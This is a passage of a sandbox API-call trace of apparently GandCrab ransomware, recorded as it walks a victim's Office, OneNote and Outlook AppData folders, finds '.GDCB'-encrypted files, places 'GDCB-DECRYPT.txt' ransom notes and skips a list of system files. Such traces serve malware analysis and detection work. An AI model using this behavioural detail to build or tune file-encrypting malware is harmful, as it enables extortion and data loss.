lpString2="boot.ini") returned 1 [0135.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.601] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.601] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.601] lstrcmpW (lpString1="Global.LNK", lpString2=".") returned 1 [0135.601] lstrcmpW (lpString1="Global.LNK", lpString2="..") returned 1 [0135.601] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Global.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" [0135.601] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.601] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 72 [0135.601] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 72 [0135.601] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.601] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.601] lstrcmpW (lpString1="index.dat.GDCB", lpString2=".") returned 1 [0135.601] lstrcmpW (lpString1="index.dat.GDCB", lpString2="..") returned 1 [0135.601] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="index.dat.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.GDCB" [0135.601] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.601] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.GDCB") returned 76 [0135.601] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.GDCB") returned 76 [0135.602] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.602] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.602] lstrcmpW (lpString1="Templates.LNK", lpString2=".") returned 1 [0135.602] lstrcmpW (lpString1="Templates.LNK", lpString2="..") returned 1 [0135.602] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Templates.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" [0135.602] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.602] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 75 [0135.602] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 75 [0135.602] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.602] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.602] FindClose (in: hFindFile=0x2c77c0 | out: hFindFile=0x2c77c0) returned 1 [0135.603] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.603] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.603] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.603] lstrcmpW (lpString1="OneNote", lpString2=".") returned 1 [0135.603] lstrcmpW (lpString1="OneNote", lpString2="..") returned 1 [0135.603] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="OneNote" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" [0135.603] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\" [0135.603] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.603] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.603] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.603] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.603] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.603] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.603] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\") returned 56 [0135.603] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*" [0135.603] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7900 [0135.604] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.604] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.604] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.604] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.604] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.604] lstrcmpW (lpString1="16.0", lpString2=".") returned 1 [0135.604] lstrcmpW (lpString1="16.0", lpString2="..") returned 1 [0135.604] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="16.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" [0135.604] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned 60 [0135.604] lstrcmpW (lpString1=".0", lpString2=".sql") returned -1 [0135.604] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.604] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.604] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.604] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt" [0135.604] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned 72 [0135.604] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.604] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.604] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.604] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.604] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\\\GDCB-DECRYPT.txt") returned 73 [0135.604] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.605] GetLastError () returned 0x50 [0135.605] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.605] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\") returned 56 [0135.605] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*" [0135.605] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7900 [0135.605] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.605] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.605] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.605] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.605] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.605] lstrcmpW (lpString1="16.0", lpString2=".") returned 1 [0135.605] lstrcmpW (lpString1="16.0", lpString2="..") returned 1 [0135.605] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="16.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" [0135.605] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\" [0135.605] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.605] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.605] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.605] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.605] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.605] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.606] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\") returned 61 [0135.606] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*" [0135.606] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7780 [0135.606] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.606] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.606] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.606] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.606] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.606] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.606] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.606] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt" [0135.606] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned 77 [0135.606] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.606] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.606] lstrcmpW (lpString1="Preferences.dat.GDCB", lpString2=".") returned 1 [0135.606] lstrcmpW (lpString1="Preferences.dat.GDCB", lpString2="..") returned 1 [0135.606] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="Preferences.dat.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.GDCB" [0135.606] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.GDCB") returned 81 [0135.606] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.606] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.606] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.606] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.607] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\\\GDCB-DECRYPT.txt") returned 78 [0135.607] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\16.0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.607] GetLastError () returned 0x50 [0135.607] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\") returned 61 [0135.607] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*" [0135.607] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7ac0 [0135.607] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.607] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.607] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.607] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.607] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.607] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.607] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.607] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt" [0135.607] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.607] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned 77 [0135.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned 77 [0135.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned 77 [0135.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned 77 [0135.607] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.607] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.607] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.607] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.607] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.607] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.607] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.608] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.608] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.608] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.608] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.608] lstrcmpW (lpString1="Preferences.dat.GDCB", lpString2=".") returned 1 [0135.608] lstrcmpW (lpString1="Preferences.dat.GDCB", lpString2="..") returned 1 [0135.608] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="Preferences.dat.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.GDCB" [0135.608] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.608] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.GDCB") returned 81 [0135.608] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.GDCB") returned 81 [0135.608] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.608] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.608] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.608] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.608] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.608] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.608] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt" [0135.608] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.608] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned 72 [0135.608] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned 72 [0135.608] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned 72 [0135.608] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned 72 [0135.609] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.609] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.609] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.609] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.609] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.609] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.609] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.609] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.609] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.609] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.609] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.609] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.609] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.609] lstrcmpW (lpString1="Outlook", lpString2=".") returned 1 [0135.609] lstrcmpW (lpString1="Outlook", lpString2="..") returned 1 [0135.609] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Outlook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" [0135.609] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\" [0135.609] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.609] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.609] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned 56 [0135.609] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*" [0135.609] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7900 [0135.611] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.611] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.611] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.611] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.611] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.611] lstrcmpW 